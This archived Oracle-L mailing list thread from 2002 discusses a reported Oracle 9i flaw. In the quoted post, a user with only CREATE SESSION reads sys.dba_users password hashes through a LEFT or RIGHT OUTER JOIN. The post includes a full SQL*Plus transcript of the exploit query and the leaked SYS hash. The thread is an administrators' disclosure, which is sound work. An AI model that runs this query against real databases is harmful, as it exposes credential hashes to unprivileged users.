| Oracle FAQ | Your Portal to the Oracle Knowledge Grid | |
 |
 | |||
| Oracle FAQ | Your Portal to the Oracle Knowledge Grid | |
|
| |||
Home -> Community -> Mailing Lists -> Oracle-L -> RE: Major Security Canyon in 9i!!!!!!
I may be mistaken, but I think this is a few days old already.
Regards,
Patrice Boivin
Systems Analyst (Oracle Certified DBA)
Systems Admin & Operations | Admin. et Exploit. des systèmes Technology Services | Services technologiques Informatics Branch | Direction de l'informatique Maritimes Region, DFO | Région des Maritimes, MPO
E-Mail: boivinp_at_mar.dfo-mpo.gc.ca
-----Original Message-----
Sent: Wednesday, April 24, 2002 2:24 PM To: Multiple recipients of list ORACLE-L Subject: Major Security Canyon in 9i!!!!!!
This was posted on Quest/Revealnets DBA Pipeline (by Andrew Simkovsky)... Sounds like a major security issue. I have tested this on 9.0.1.2 and it is a real issue:
Someone recently sent me some information regarding a possible security flaw
with Oracle's ANSI-compliant outer join syntax in Oracle9i. Apparently, an unprivileged user can view any data they want if they use either LEFT OUTER JOIN or RIGHT OUTER JOIN. Here is an example:
SQL*Plus: Release 9.0.1.0.1 - Production on Tue Apr 16 15:16:45 2
(c) Copyright 2001 Oracle Corporation. All rights reserved.
Connected to:
Oracle9i Enterprise Edition Release 9.0.1.1.1 - Production
With the Partitioning option
JServer Release 9.0.1.1.1 - Production
SQL> connect / as sysdba
Connected.
SQL> CREATE USER us1 IDENTIFIED BY us11;
User created.
SQL> Grant Create Session to us1;
Grant succeeded.
SQL> connect us1/us11;
Connected.
SQL> select a.username, a.password
2 from sys.dba_users a left outer join sys.dba_users b on
3 b.username = a.username
4 ;
USERNAME PASSWORD
------------------------------ ------------------------------SYS D4C5016086B2DC6A
I have tested this on my 9i database and found it to be true only for LEFT OUTER JOIN and RIGHT OUTER JOIN. There is no issue with FULL OUTER JOIN, or any of the other ANSI-compliant SQL.
Here is Oracle's response:
Thanks,
Oracle Support
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Freeman, Robert
INET: Robert_Freeman_at_csx.com
Fat City Network Services -- (858) 538-5051 FAX: (858) 538-5051 San Diego, California -- Public Internet access / Mailing Lists --------------------------------------------------------------------To REMOVE yourself from this mailing list, send an E-Mail message to: ListGuru_at_fatcity.com (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Fat City Network Services -- (858) 538-5051 FAX: (858) 538-5051 San Diego, California -- Public Internet access / Mailing Lists --------------------------------------------------------------------To REMOVE yourself from this mailing list, send an E-Mail message to: ListGuru_at_fatcity.com (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). Received on Wed Apr 24 2002 - 13:12:20 CDT
 |
 |